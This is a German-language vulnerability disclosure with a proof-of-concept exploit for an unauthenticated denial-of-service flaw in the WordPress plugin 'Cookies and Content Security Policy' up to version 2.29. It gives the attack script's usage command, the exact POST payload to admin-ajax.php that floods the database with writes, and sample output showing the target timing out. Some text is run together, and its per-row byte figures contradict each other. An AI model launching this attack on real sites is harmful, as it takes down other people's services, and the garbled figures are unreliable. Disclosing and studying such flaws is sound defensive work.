
Fehlerhafte Zugriffskontrolle in der AJAX-Endpunkt-Funktionalität im Plugin „Cookies and Content Security Policy“ von jonkastonka bis einschließlich Version 2.29
Eine falsche Zugriffskontrolle in der AJAX-Endpunkt-Funktionalität im Plugin „Cookies and Content Security Policy“ von jonkastonka bis Version 2.29 ermöglicht es entfernten Angreifern, einen Denial-of-Service (Erschöpfung der Datenbankserver-Ressourcen) durch unbegrenzte Datenbankschreiboperationen an den Endpunkt wp_ajax_nopriv_cacsp_insert_consent_data zu verursachen.
Die Schwachstelle existiert in der Funktion cacsp_insert_consent_data(), die über den AJAX-Endpunkt von WordPress (wp-admin/admin-ajax.php) ohne Authentifizierungsanforderungen bereitgestellt wird. Das Plugin verwendet die wp_ajax_nopriv_-Aktion, wodurch sie für nicht authentifizierte Benutzer zugänglich ist.
Angriffsvektor: Entfernte Angreifer können unbegrenzte gleichzeitige POST-Anfragen senden, um den Datenbankserver mit Schreiboperationen zu überlasten, was zu einer Erschöpfung von CPU und Datenträger-I/O führt.
requestsmatplotlibthreadingDie grundlegende Verwendung des PoC-Skripts ist wie folgt:
python payload.py --target <target_url> --threads <number_of_threads>
Standardmäßig ist die Anzahl der Threads auf 100 festgelegt. Sie können eine andere Anzahl von Threads angeben, indem Sie sie als zweites Argument übergeben.

Target WordPress URL (https://example.com): https://vulnerable-site.com
Number of threads (default 100):
Launching DoS attack with 100 threads...
Press Ctrl+C to stop the attack
[19:41:20] ✓ Status: 200 | Response time: 538.3ms | DB: 0.00MB (1 rows, 351b/row)
[19:41:20] ✓ Status: 200 | Response time: 554.51ms | DB: 0.00MB (2 rows, 351b/row)
[19:41:20] ✓ Status: 200 | Response time: 522.29ms | DB: 0.00MB (3 rows, 351b/row)
[19:41:20] ✓ Status: 200 | Response time: 498.72ms | DB: 0.00MB (4 rows, 351b/row)
[19:41:21] ✓ Status: 200 | Response time: 946.94ms | DB: 0.00MB (5 rows, 351b/row)
[19:41:21] ✓ Status: 200 | Response time: 858.41ms | DB: 0.00MB (6 rows, 351b/row)
[19:41:21] ✓ Status: 200 | Response time: 922.29ms | DB: 0.00MB (7 rows, 351b/row)
[19:41:21] ✓ Status: 200 | Response time: 991.41ms | DB: 0.00MB (8 rows, 351b/row)
...
[19:41:26] ⚠ TIMEOUT - server not responding
[19:41:26] ⚠ TIMEOUT - server not responding
[19:41:26] ⚠ TIMEOUT - server not responding
[19:41:26] ⚠ TIMEOUT - server not responding
[19:41:26] ⚠ TIMEOUT - server not responding
Der Exploit sendet POST-Anfragen an /wp-admin/admin-ajax.php mit:
data = {
'action': 'cacsp_insert_consent_data',
'accepted_cookies': 'necessary,experience,analytics,marketing',
'expires': "9" * 255 # Maximum TINYTEXT length
}
Jede erfolgreiche Anfrage fügt eine neue Datenbankzeile ein, die Folgendes enthält:
Ergebnis: ~89 Bytes pro Anfrage × unbegrenzte Anfragen = schnelles Datenbankwachstum
Dieses PoC dient nur zu Bildungszwecken. Der Autor ist nicht verantwortlich für Missbrauch oder Schäden, die durch die Verwendung dieses Codes entstehen. Holen Sie immer eine Genehmigung ein, bevor Sie ein System testen.